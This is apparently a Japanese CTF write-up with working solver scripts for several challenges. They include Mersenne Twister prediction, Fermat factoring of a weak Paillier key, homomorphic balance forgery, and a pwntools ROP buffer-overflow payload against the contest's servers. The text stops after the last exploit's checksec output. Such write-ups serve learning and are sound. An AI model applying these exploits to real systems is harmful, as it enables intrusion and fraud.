███████╗╚██████╗╚██████╔╝    ██║  ██║██║  ██║╚██████╗██║  ██╗
╚══════╝ ╚═════╝ ╚═════╝     ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝


Попробуем взломать Линейный Конгруэнтный Генератор псевдослучайных чисел (ПСЧ).
Его формула: Xn+1 = (A * Xn + B) mod M
Вы можете попросить несколько последовательных ПСЧ, до 50 штук.
А затем угадать следующее ПСЧ.

===============
Let's try to hack the Linear Congruential Generator for pseudorandom numbers (PRN).
Its formula is: Xn+1 = (A * Xn + B) mod M
You can ask for several consecutive PRNs, up to 50.
And then guess the next PRN.

1. Получить следующее число
2. Угадать следующее число
> 1
Следующее число: 1751425231496505
> 1
Следующее число: 500374582188742
> 1
Следующее число: 1182717121914551
> 1
Следующее число: 806211033115224
> 1
Следующее число: 870530006948635
> 1
Следующее число: 1445792116031357
> 1
Следующее число: 469553832699816
> 1
Следующее число: 100151960263189
> 1
Следующее число: 8772701652335
> 1
Следующее число: 721751658822867
> 1
Следующее число: 642078333764716
> 1
Следующее число: 1361256314619854
> 1
Следующее число: 1239665209451925
> 1
Следующее число: 1556323826471257
> 1
Следующее число: 314731082130776
> 1
Следующее число: 901979709904494
> 2
Ваше число: 368747519221765

Флаг: grodno{0dc1a0436448239239fe54646adaffed8}
grodno{0dc1a0436448239239fe54646adaffed8}

Python PRNG hack (PPC. Professional Programming and Coding)

サーバの処理概要は以下の通り。

・m: UNIXTIMEの1000000倍の整数切り上げ
・a = 2**10
・b = 2**30
・mをシードとして乱数設定
・rand_numbers = []
・ind = 0
・以下繰り返し
 ・indが1000の場合、繰り返し終了
 ・inp: 入力
 ・inpが"1"の場合
  ・ランダム32ビット整数表示
 ・inpが"2"の場合
  ・ans: 数値入力
  ・my_ans: ランダム32ビット整数
  ・ansとmy_ansが一致する場合、フラグを表示
 ・indをプラス1

Mersenne Twisterの特性を使って、624個の乱数を取得し、次の乱数を答える。

#!/usr/bin/env python3
import socket
import random

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ctf.mf.grsu.by', 9043))

for _ in range(22):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

N = 624
state = []
for i in range(624):
    data = recvuntil(s, b'> ')
    print(data + '1')
    s.sendall(b'1\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    state.append(untemper(int(data.split(' ')[-1])))

state.append(N)
random.setstate([3, tuple(state), None])

ans = random.getrandbits(32)
data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b': ')
print(data + str(ans))
s.sendall(str(ans).encode() + b'\n')
for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

██████╗ ██╗   ██╗████████╗██╗  ██╗ ██████╗ ███╗   ██╗    ██╗  ██╗ █████╗  ██████╗██╗  ██╗
██╔══██╗╚██╗ ██╔╝╚══██╔══╝██║  ██║██╔═══██╗████╗  ██║    ██║  ██║██╔══██╗██╔════╝██║ ██╔╝
██████╔╝ ╚████╔╝    ██║   ███████║██║   ██║██╔██╗ ██║    ███████║███████║██║     █████╔╝
██╔═══╝   ╚██╔╝     ██║   ██╔══██║██║   ██║██║╚██╗██║    ██╔══██║██╔══██║██║     ██╔═██╗
██║        ██║      ██║   ██║  ██║╚██████╔╝██║ ╚████║    ██║  ██║██║  ██║╚██████╗██║  ██╗
╚═╝        ╚═╝      ╚═╝   ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝    ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝


Попробуем взломать генератор псевдослучайных чисел (ПСЧ) Python.
Считаем, что ПСЧ создаются функцией getrandbits(32) стандартной библиотеки random.
Вы можете попросить несколько последовательных ПСЧ, до 1000 штук.
А затем вы должны угадать следующее ПСЧ.

===============
Let's try to hack the generator of pseudo-random number (PRN) of the Python interpreter.
We assume that the PRNs are generated by the getrandbits(32) function of the standard random library.
You can ask for several consecutive PRNs, up to 1000 pieces.
And then you have to guess the next PRN.

1. Получить следующее число
2. Угадать следующее число
> 1
Следующее число: 1131985603
> 1
Следующее число: 1856213929
> 1
Следующее число: 947731974
                :
> 1
Следующее число: 4117995843
> 1
Следующее число: 265818363
> 1
Следующее число: 3958449209
> 2
Ваше число: 2989808239

Флаг: grodno{adffc043644adfecb56464646ad1f4ed4}
grodno{adffc043644adfecb56464646ad1f4ed4}

Homomorphic weak (Misc)

サーバの処理概要は以下の通り。

・m: flagを数値化したもの
・public_key = generate_keys()
 ・以下繰り返し
  ・p: 256ビット素数
  ・q: pに1以上10000以下のランダム整数をプラスしたもの
  ・qが素数でp*qと(p-1)*(q-1)が互いに素である場合
   ・n = p * q
   ・g = n + 1
   ・n, gを返却
・n, g = public_key
・c = encrypt(m, n, g)
 ・r: 1以上n-1以下のランダム整数
 ・c = (pow(g, m, n**2) * pow(r, n, n**2)) % n**2
 ・cを返却
・nを出力
・gを出力
・cを出力

Paillier暗号で暗号化されている。nをp, qに素因数分解できれば、復号することができる。
次のように置く。

_lambda = lcm(p - 1, q - 1)
L(u) = (u - 1) // n

このとき、復号は次のように計算することができる。

m = L(pow(c, _lambda, n**2)) * pow(L(pow(g, _lambda, n**2)), -1, n**2) % n

またp, qは近い数値のため、Fermat法で素因数分解できる。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

def lcm(x, y):
    return x * y // GCD(x, y)

def L(u):
    global n
    return (u - 1) // n

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ctf.mf.grsu.by', 9055))

data = recvuntil(s, b'(n, g):\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data.split(' ')[-1])
data = recvuntil(s, b'\n').rstrip()
print(data)
g = int(data.split(' ')[-1])
data = recvuntil(s, b'(c):\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
c = int(data.split(' ')[-1])
print(c)

p, q = fermat(n)
_lambda = lcm(p - 1, q - 1)

m = L(pow(c, _lambda, n**2)) * pow(L(pow(g, _lambda, n**2)), -1, n**2) % n
flag = long_to_bytes(m).decode()

data = recvuntil(s, b'>')
print(data + flag)
s.sendall(flag.encode() + b'\n')
for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

██╗  ██╗ ██████╗ ███╗   ███╗ ██████╗ ███╗   ███╗ ██████╗ ██████╗ ██████╗ ██╗  ██╗██╗ ██████╗    ██╗    ██╗███████╗ █████╗ ██╗  ██╗
██║  ██║██╔═══██╗████╗ ████║██╔═══██╗████╗ ████║██╔═══██╗██╔══██╗██╔══██╗██║  ██║██║██╔════╝    ██║    ██║██╔════╝██╔══██╗██║ ██╔╝
███████║██║   ██║██╔████╔██║██║   ██║██╔████╔██║██║   ██║██████╔╝██████╔╝███████║██║██║         ██║ █╗ ██║█████╗  ███████║█████╔╝
██╔══██║██║   ██║██║╚██╔╝██║██║   ██║██║╚██╔╝██║██║   ██║██╔══██╗██╔═══╝ ██╔══██║██║██║         ██║███╗██║██╔══╝  ██╔══██║██╔═██╗
██║  ██║╚██████╔╝██║ ╚═╝ ██║╚██████╔╝██║ ╚═╝ ██║╚██████╔╝██║  ██║██║     ██║  ██║██║╚██████╗    ╚███╔███╔╝███████╗██║  ██║██║  ██╗
╚═╝  ╚═╝ ╚═════╝ ╚═╝     ╚═╝ ╚═════╝ ╚═╝     ╚═╝ ╚═════╝ ╚═╝  ╚═╝╚═╝     ╚═╝  ╚═╝╚═╝ ╚═════╝     ╚══╝╚══╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝


Сервер использует надежную гомоморфную криптосистему, но модуль генерации ключа слишко м слаб. Воспользуйтесь этим и расшифруйте флаг.

===============
The server uses a strong homomorphic cryptosystem, but the key generation module is too weak. Take advantage of this and decrypt the flag.


Public Key (n, g):
n = 7425985761584608551715208317735937647832259426216434886732786648472648136105231890022121149866288170325426428267839792132626354244990881656871711194624041
g = 7425985761584608551715208317735937647832259426216434886732786648472648136105231890022121149866288170325426428267839792132626354244990881656871711194624042

Encrypted Flag (c):
c = 2005645021373737229424032512647078488688611345758494794356408264854464230831049880650167498595764038621833566621027675046195999421448571451769894760977618585964358451485791386810251844092618846201748664349422183076303388950371985705566596526731794006578310505673192357293938368135475746803231639631737830846
2005645021373737229424032512647078488688611345758494794356408264854464230831049880650167498595764038621833566621027675046195999421448571451769894760977618585964358451485791386810251844092618846201748664349422183076303388950371985705566596526731794006578310505673192357293938368135475746803231639631737830846

=== Расшифруй флаг / Decrypt flag ===

Input flag >grodno{Crypto_Weak_Modulus_Factorization}

Flag is: grodno{4d8330432645-545345-454352-6765-66ff2ed2}
grodno{4d8330432645-545345-454352-6765-66ff2ed2}

Interesting WAV (Misc)

$ binwalk stego.wav

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             RIFF audio data (WAV), PCM, 1 channels, 8000 sample rate
44            0x2C            JPEG image data, JFIF standard 1.01

wavの後ろにjpgがくっついている。

$ dd bs=1 skip=44 if=stego.wav of=flag.jpg
14725+0 records in
14725+0 records out
14725 bytes (15 kB, 14 KiB) copied, 1.46331 s, 10.1 kB/s

切り出したjpg画像にフラグが書いてあった。

grodno{WAV_t0_PNG_0r_PNG_t0_WAV}

ZKP 9+ (Misc)

サーバの処理概要は以下の通り。

・ROUNDS = 3
・p = 23
・g = 5
・x: 1以上p-2以下のランダム整数
・y = pow(g, x, p)
・p, g. yを表示
・ROUNDSを表示
・1~ROUNDSのround_numについて以下を実行
 ・round_numを表示
 ・C: 数値入力
 ・e: 1以上100以下のランダム整数
 ・eを表示
 ・s: 入力
 ・left = pow(g, s, p)
 ・right = (C * pow(y, e, p)) % p
 ・leftとrightが一致しない場合、終了
・FLAGを表示

pの数値が小さいので、ブルートフォースでsを求めることができる。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
skt.connect(('ctf.mf.grsu.by', 9049))

for _ in range(20):
    data = recvuntil(skt, b'\n').rstrip()
    print(data)

p = int(data.split(' ')[-3][:-1].split('=')[1])
g = int(data.split(' ')[-2][:-1].split('=')[1])
y = int(data.split(' ')[-1].split('=')[1])

for _ in range(2):
    data = recvuntil(skt, b'\n').rstrip()
    print(data)

for _ in range(3):
    for _ in range(3):
        data = recvuntil(skt, b'\n').rstrip()
        print(data)
    print('1')
    skt.sendall(b'1\n')
    data = recvuntil(skt, b'\n').rstrip()
    print(data)
    e = int(data.split(' ')[-1])
    data = recvuntil(skt, b'\n').rstrip()
    print(data)

    right = pow(y, e, p)
    for s in range(p):
        if pow(g, s, p) == right:
            break
    print(str(s))
    skt.sendall(str(s).encode() + b'\n')
    for _ in range(3):
        data = recvuntil(skt, b'\n').rstrip()
        print(data)

data = recvuntil(skt, b'\n').rstrip()
print(data)

実行結果は以下の通り。

███████╗██╗  ██╗██████╗     ███████╗ ██████╗ ██████╗      █████╗
╚══███╔╝██║ ██╔╝██╔══██╗    ██╔════╝██╔═══██╗██╔══██╗    ██╔══██╗  ██╗
  ███╔╝ █████╔╝ ██████╔╝    █████╗  ██║   ██║██████╔╝    ╚██████║██████╗
 ███╔╝  ██╔═██╗ ██╔═══╝     ██╔══╝  ██║   ██║██╔══██╗     ╚═══██║╚═██╔═╝
███████╗██║  ██╗██║         ██║     ╚██████╔╝██║  ██║     █████╔╝  ╚═╝
╚══════╝╚═╝  ╚═╝╚═╝         ╚═╝      ╚═════╝ ╚═╝  ╚═╝     ╚════╝


Используя протокол с нулевым разглашением (ZKP, Zero-Knowledge Proof), докажите, что умеете находить дискретный логарифм, не р аскрывая секрет как вы это делаете.
Вам даны простое число p, генератор g мультипликативной группы, значение y = g^x mod p. Докажите, отвечая на вопросы сервера, что вы знаете x.

===============
Using a Zero-Knowledge Proof (ZKP) protocol, prove that you can find the discrete logarithm without revealing the secret of how you do it.
You are given a prime number p, a generator g of the multiplicative group, a value y = g^x mod p. Prove by answering questions from the server that you know x.



=== Zero-Knowledge Proof: Prove You Know x ===
Параметры / Parameters: p=313, g=190, y=66
Всего раундов / Rounds: 3

=== Round 1 ===

Выберите r и отправьте C = g^r mod p / Select r and send C = g^r mod p:
1
Challenge e = 24
Отправьте / Send s = r + e*x mod (p-1):
48
Рaунд пройден / Round passed!


=== Round 2 ===

Выберите r и отправьте C = g^r mod p / Select r and send C = g^r mod p:
1
Challenge e = 88
Отправьте / Send s = r + e*x mod (p-1):
280
Рaунд пройден / Round passed!


=== Round 3 ===

Выберите r и отправьте C = g^r mod p / Select r and send C = g^r mod p:
1
Challenge e = 79
Отправьте / Send s = r + e*x mod (p-1):
106
Рaунд пройден / Round passed!


Success! Flag: grodno{edf75033a9248bc375df6e7c8f4edf}
grodno{edf75033a9248bc375df6e7c8f4edf}

Error, another error (Misc)

サーバの処理概要は以下の通り。

・hcode: 0~14の値iで[2進数4桁, 0, 2進数4桁]の形の配列を2回繰り返す
・hcodeをシャッフル
・hcodeの長さ未満のindについて以下を実行
 ・r: 0以上10以下のランダム整数
 ・rが6以下の場合はhcode[ind][1]にrを設定、それ以外の場合は0を設定
 ・code0 = hamming_encode_7_4(hcode[ind][0])
  ・d1~d4: hcode[ind][0]の各ビットの数値
  ・p1 = d1 ^ d2 ^ d4
  ・p2 = d1 ^ d3 ^ d4
  ・p3 = d2 ^ d3 ^ d4
  ・encoded = [p1, p2, d1, p3, d2, d3, d4]
  ・encodedを文字列として結合し、返却
 ・rが6以下の場合
  ・code0のr番目を反転
 ・hcode[ind][0] = code0
・err_flag = False
・ROUNDS = 3
・ROUNDSを表示
・ROUNDS未満のround_numについて以下を実行
 ・round_numを表示
 ・hcode[round_num][0]を表示
 ・answer: 入力
 ・answerが{hcode[round_num][1]}:{hcode[round_num][2]}と一致する場合、正解のメッセージ表示
 ・answerが{hcode[round_num][1]}:{hcode[round_num][2]}と一致しない場合
  ・err_flag = True
  ・繰り返し終了
・err_flagがFalseの場合、フラグを表示

実際のラウンド数は20回だった。p1, p2, p3の計算をし、間違いがあれば訂正する。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def decode_hamming_7_4(code_bits):
    c = list(map(int, code_bits))

    s1 = c[0] ^ c[2] ^ c[4] ^ c[6]
    s2 = c[1] ^ c[2] ^ c[5] ^ c[6]
    s3 = c[3] ^ c[4] ^ c[5] ^ c[6]

    error_pos = s1 + (s2 << 1) + (s3 << 2)

    corrected = c[:]
    if error_pos != 0:
        r = error_pos - 1
        corrected[error_pos - 1] ^= 1
    else:
        r = 0

    data = [corrected[2], corrected[4], corrected[5], corrected[6]]
    return r, ''.join(map(str, data))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ctf.mf.grsu.by', 9057))

for _ in range(17):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

for _ in range(20):
    for _ in range(2):
        data = recvuntil(s, b'\n').rstrip()
        print(data)

    data = recvuntil(s, b'>>')
    print(data, end='')
    code_bits = data.split(',')[0]
    r, data_bits = decode_hamming_7_4(code_bits)
    ans = str(r) + ':' + data_bits
    print(ans)
    s.sendall(ans.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

██╗  ██╗ █████╗ ███╗   ███╗███╗   ███╗██╗███╗   ██╗ ██████╗      ██╗    ███████╗   ██╗  ██╗    ██╗
██║  ██║██╔══██╗████╗ ████║████╗ ████║██║████╗  ██║██╔════╝     ██╔╝    ╚════██║   ██║  ██║    ╚██╗
███████║███████║██╔████╔██║██╔████╔██║██║██╔██╗ ██║██║  ███╗    ██║         ██╔╝   ███████║     ██║
██╔══██║██╔══██║██║╚██╔╝██║██║╚██╔╝██║██║██║╚██╗██║██║   ██║    ██║        ██╔╝    ╚════██║     ██║
██║  ██║██║  ██║██║ ╚═╝ ██║██║ ╚═╝ ██║██║██║ ╚████║╚██████╔╝    ╚██╗       ██║  ▄█╗     ██║    ██╔╝
╚═╝  ╚═╝╚═╝  ╚═╝╚═╝     ╚═╝╚═╝     ╚═╝╚═╝╚═╝  ╚═══╝ ╚═════╝      ╚═╝       ╚═╝  ╚═╝     ╚═╝    ╚═╝


(7,4)-код Хэмминга позволяет исправлять не более одной ошибки. Найдите позицию ошибки и восстановите исходные данные. Например для битовой строки 1010011 ваш ответ будет 2:0011. А если ошибки нет, как в строке 0011001, ваш ответ будет 0:1001

===============
(7,4)-Hamming code allows you to correct at most one error. Find the position of the error and restore the original data. For example, for the bit string 1010011, your answer will be 2:0011. And if there is no error, like in the string 0011001, your answer will be 0:1001


Всего раундов / Rounds: 20

=== Round 1 ===

1100101,  позиция:данные >>0:0101
Правильно / Right
=== Round 2 ===

1100110,  позиция:данные >>0:0110
Правильно / Right
=== Round 3 ===

0001111,  позиция:данные >>0:0111
Правильно / Right
=== Round 4 ===

0010110,  позиция:данные >>0:1110
Правильно / Right
=== Round 5 ===

0101011,  позиция:данные >>6:0010
Правильно / Right
=== Round 6 ===

0000000,  позиция:данные >>0:0000
Правильно / Right
=== Round 7 ===

1011001,  позиция:данные >>0:1001
Правильно / Right
=== Round 8 ===

1001111,  позиция:данные >>0:0111
Правильно / Right
=== Round 9 ===

1100110,  позиция:данные >>0:0110
Правильно / Right
=== Round 10 ===

1001100,  позиция:данные >>0:0100
Правильно / Right
=== Round 11 ===

1110101,  позиция:данные >>1:1101
Правильно / Right
=== Round 12 ===

1101010,  позиция:данные >>0:0010
Правильно / Right
=== Round 13 ===

1110001,  позиция:данные >>6:1000
Правильно / Right
=== Round 14 ===

1010010,  позиция:данные >>3:1010
Правильно / Right
=== Round 15 ===

1011010,  позиция:данные >>0:1010
Правильно / Right
=== Round 16 ===

0000000,  позиция:данные >>0:0000
Правильно / Right
=== Round 17 ===

1101101,  позиция:данные >>4:0001
Правильно / Right
=== Round 18 ===

1101011,  позиция:данные >>5:0001
Правильно / Right
=== Round 19 ===

1110010,  позиция:данные >>5:1000
Правильно / Right
=== Round 20 ===

0111101,  позиция:данные >>6:1100
Правильно / Right

Flag is: grodno{be7d6087065823014824124712214240358340bf3e0b}
grodno{be7d6087065823014824124712214240358340bf3e0b}

Homomorphic Fraud (Misc)

サーバの処理概要は以下の通り。

・pub_key, priv_key = generate_keypair()
 ・p, q: 512ビット素数
 ・n = p * q
 ・g = n + 1
 ・lambda_ = (p - 1) * (q - 1)
 ・mu = pow(lambda_, -1, n)
 ・(n, g), (lambda_, mu)を返却
・balance: 0以上999999以下ランダム整数
・enc_balance = encrypt(balance, pub_key)
 ・n, g = pub_key
 ・r: 1以上n-1以下ランダム整数
 ・c = (pow(g, m, n**2) * pow(r, n, n**2)) % n**2
・end_balance = encrypt(1000000, pub_key)
・pub_keyを表示
・enc_balanceを表示
・以下繰り返し
 ・user_input: 入力
 ・new_enc_balance = process_transaction(user_input)
  ・enc_balance = (enc_balance * user_input) % (pub_key[0] ** 2)
  ・enc_balanceを返却
 ・new_enc_balanceを表示
 ・decrypt(new_enc_balance, priv_key, pub_key)とdecrypt(end_balance, priv_key, pub_key)が一致している場合
  ・フラグを表示
 ・new_enc_balanceがend_balanceより大きい場合
  ・繰り返し終了

end_balanceは算出できる。この暗号化はPaillier暗号のため、準同型性を持っている。つまり、二つの暗号文の積は、それらの平文の和の暗号文になる。
このことを考えると、以下を満たせば、フラグが表示される。

enc_balanceの平文balanceとuser_inputの平文の和がend_balanceの平文1000000になる。

ただしbalanceの値がわからない。user_inputの平文を0から順に暗号化していけば、1000000未満の間で当たるはず。

#!/usr/bin/env python3
import socket
import random

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def encrypt(m, pub_key):
    n, g = pub_key
    r = random.randint(1, n - 1)
    c = (pow(g, m, n**2) * pow(r, n, n**2)) % n**2
    return c

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ctf.mf.grsu.by', 9054))

data = recvuntil(s, b'\n').rstrip()
print(data)
pub_key = eval(data.split(' = ')[1])
data = recvuntil(s, b'\n').rstrip()
print(data)
enc_balance = int(data.split(' = ')[1])

for _ in range(19):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = ''
for m in range(1000000):
    user_input = encrypt(m, pub_key)
    data += recvuntil(s, b' = ')
    print(data + str(user_input))
    s.sendall(str(user_input).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = s.recv(1).decode()
    if data == 'F':
        data += recvuntil(s, b'\n').rstrip()
        print(data)
        break

何回か実行したら、フラグが表示された。成功時の実行結果は以下の通り。

[*] Public Key (n, g) = (127386759514616156903183364437801368856533892090480485653212510857935224768052652526094493339204020704024456684581601159894364645916302126426334824514209104994383532868214374505240582942278135824849951839574607853815957611562994796843713893556868845972652585416803870148592549116440108087270886210332391634997, 127386759514616156903183364437801368856533892090480485653212510857935224768052652526094493339204020704024456684581601159894364645916302126426334824514209104994383532868214374505240582942278135824849951839574607853815957611562994796843713893556868845972652585416803870148592549116440108087270886210332391634998)
[*] Encrypted Balance = 5620298849110874502453436914499637956882442010851545906139377520660161687612768419484953369206072221469987024625088476101051291836490957229321779020205234643783568751245572933900985767815422788008753133769072476510609026345986767174216043303894065803193837030439048024756599040562477189901647618663431361320539216249857061611811482489041430268142103392464292582681809697794115269444494946349820509042515566214037681963875165489322121313993952995720240881566518406045958133642791787953458932436035115192521395348757249968325375395149259306843045080531721186403005208514888931720163915317322883159675111484564206505557

██╗  ██╗ ██████╗ ███╗   ███╗ ██████╗ ███╗   ███╗ ██████╗ ██████╗ ██████╗ ██╗  ██╗██╗ ██████╗    ███████╗██████╗  █████╗ ██╗   ██╗██████╗
██║  ██║██╔═══██╗████╗ ████║██╔═══██╗████╗ ████║██╔═══██╗██╔══██╗██╔══██╗██║  ██║██║██╔════╝    ██╔════╝██╔══██╗██╔══██╗██║   ██║██╔══██╗
███████║██║   ██║██╔████╔██║██║   ██║██╔████╔██║██║   ██║██████╔╝██████╔╝███████║██║██║         █████╗  ██████╔╝███████║██║   ██║██║  ██║
██╔══██║██║   ██║██║╚██╔╝██║██║   ██║██║╚██╔╝██║██║   ██║██╔══██╗██╔═══╝ ██╔══██║██║██║         ██╔══╝  ██╔══██╗██╔══██║██║   ██║██║  ██║
██║  ██║╚██████╔╝██║ ╚═╝ ██║╚██████╔╝██║ ╚═╝ ██║╚██████╔╝██║  ██║██║     ██║  ██║██║╚██████╗    ██║     ██║  ██║██║  ██║╚██████╔╝██████╔╝
╚═╝  ╚═╝ ╚═════╝ ╚═╝     ╚═╝ ╚═════╝ ╚═╝     ╚═╝ ╚═════╝ ╚═╝  ╚═╝╚═╝     ╚═╝  ╚═╝╚═╝ ╚═════╝    ╚═╝     ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝


Вы обнаружили банковский сервер, который хранит балансы клиентов в зашифрованном, с помощью схемы Paillier,  виде. Сервер позволяет: просматривать зашифрованный баланс клиента и увеличивать баланс. Но есть проблема: сервер не проверяет, какое число вы 'добавляете' к балансу !
Сможете вы увеличить баланс до $1 000 000, не зная секретного ключа банка ?

===============
You have found a bank server that stores customer balances encrypted (using the Paillier scheme). The server allows you to: view the encrypted customer balance and increase the balance. But there is a problem: the server does not check what number you 'add' to the balance!
Can you increase the balance to $1,000,000 without knowing the bank's secret key?



[*] Server is running. Send your transactions as `Enc(amount)`.
>> Enc(amount) = 9953009296711621522389677486032126161856766128817834304219614415366399128800952219519587928076158458522285636818555354842871620763393614522401137487661682036012331336731708512663539612679109379860172387584513301960454777298142088281968532749140591454940854959093671853472961343007219981387645016211186225668908001955651399808152571920053825245451273562088385485898687856962753715159386455469857911696839925926996566351151091882320494463267914472736079334641731425076311833702056866752612806907706560440911033769682908888026797309436735371663621391958944495220612631903123468250781227295423441190822288013590016347535
[+] New Encrypted Balance = 7350723282781334915352854733228144732520229174038314265956914515064922570430842514215591129914016770645166141948927605595970826227663025494822160931053836717384115519704783339494876451716249348800589192151026275309685746464461567390212431173086120529638918724542920080551296929226902078599068272099885355883038120045295261077831325501885810840632657556910336923677660051215976256523612158096044833665986267075609051606399955734645690964525807111955100304270100308436162296275648351435392794902414353810865973925541350386524542560706903915580245428555332892195810025515972960579662848329184432744357006368003810428239
>> Enc(amount) = 1977727941354171501296172618880474617690680467508905085612833966738804884671163472521378503059588138935320815186980230592316794194870709645835377420858502363962726385262516988290924498705513515748709338538257857620452178855621728062274684310736632593840540192373742535532417536569922004075841867469742216409915245225010812852982187307181905904720735093208943929127524055447118765938910697498058490293572120040879882880528493370261096669200330032482723659817833646072534201599393601601831380584261142158355122997432098990388567649069375641043211195431059851246538834905600195733100393946937707870662204964618163784075
[+] New Encrypted Balance = 9472654582565347072562515053293087898174278365363036463020380682733579634265414766599916899523968184066233257346167885831950649771881247153942587641396548536425102260985329915776872235598470864021793467127090302520913441009324847832238060477370574729502834013156449421270082459568846368456406349029513465531288427551368636991645316911507760957110431261418724995980828919829063692341875917438734808056472320803845813232899930003604340946612488143035481047257060027901848875905113515454131493543906188273186842331447652617756646924740307049260314411588180790600231783398304274104181832573001574170421234673362880691090
Flag is: grodno{0ef4a0435442404854572843420932985430fee06}
grodno{0ef4a0435442404854572843420932985430fee06}

Intel order VS Network order (Misc)

BMPファイルが添付されているが、BMPのファイル構造のDIB header sizeの部分(オフセット0x0e~0x11)のエンディアンが逆になっているので、修正する。

修正した画像には以下のように書いてあった。

flag is:
y3s,_we_ch4ng3_h3ader_0f_bmp-f1le
grodno{y3s,_we_ch4ng3_h3ader_0f_bmp-f1le}

GoldenByte (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  uint uVar1;
  uint local_10;
  undefined4 local_c;
  
  _init_streams();
  local_c = 0;
  local_10 = 0;
  puts("--- \'Golden Byte\' Lottery ---");
  printf("Ready to test your luck? Enter your lottery ticket number: > ");
  __isoc99_scanf(&DAT_0010206e,&local_10);
  printf("\nChecking ticket number %d...\n",(ulong)local_10);
  local_c = local_10;
  uVar1 = local_c;
  local_c._0_2_ = (short)local_10;
  local_c = uVar1;
  if (((short)local_c == -0x217) &&
     (local_c._2_2_ = (short)(local_10 >> 0x10), local_c._2_2_ == -0x4120)) {
    jackpot();
  }
  else {
    puts("Sorry, your ticket didn\'t win. Better luck next time!");
  }
  return 0;
}

void jackpot(void)

{
  char *__s;
  
  __s = getenv("FLAG_VAL");
  puts(__s);
  return;
}

local_cの条件は以下の通り。

・下位16ビットが-0x217(=0xfde9)
・上位16ビットが-0x4120(0xbee0)

つまり、0xbee0fde9を指定すればよい。

>>> 0xbee0fde9
3202416105
$ nc ctf.mf.grsu.by 9074
--- 'Golden Byte' Lottery ---
Ready to test your luck? Enter your lottery ticket number: > 3202416105

Checking ticket number -1092551191...
grodno{D4dy4_m4TV31_Pr019r4l_kV4rT1RY_V_K421n0_V3D_n3_2N4L_PWN}
grodno{D4dy4_m4TV31_Pr019r4l_kV4rT1RY_V_K421n0_V3D_n3_2N4L_PWN}

StackSmasher (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  _init_streams();
  func();
  return 0;
}

void func(void)

{
  undefined1 local_28 [32];
  
  printf("%s","Input username:");
  read(0,local_28,0x80);
  printf("Your name is %s",local_28);
  return;
}

void step1(void)

{
  first = 1;
  return;
}

void step2(void)

{
  second = 1;
  return;
}

void win(void)

{
  char *__s;
  
  __s = getenv("FLAG_VAL");
  if ((first != 0) && (second != 0)) {
    puts(__s);
  }
  return;
}

BOFでstep1, step2, winの順でコールすればよい。

$ ROPgadget --binary StackSmasher | grep ": ret"
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('ctf.mf.grsu.by', 9078)
else:
    p = process('./StackSmasher')

elf = ELF('./StackSmasher')

ret_addr = 0x401016
step1_addr = elf.symbols['step1']
step2_addr = elf.symbols['step2']
win_addr = elf.symbols['win']

payload = b'A' * 40
payload += p64(ret_addr)
payload += p64(step1_addr)
payload += p64(step2_addr)
payload += p64(win_addr)

data = p.recvuntil(b':')
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvrepeat(1)
print(data)

実行結果は以下の通り。

[+] Opening connection to ctf.mf.grsu.by on port 9078: Done
[*] '/mnt/hgfs/Shared/StackSmasher'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
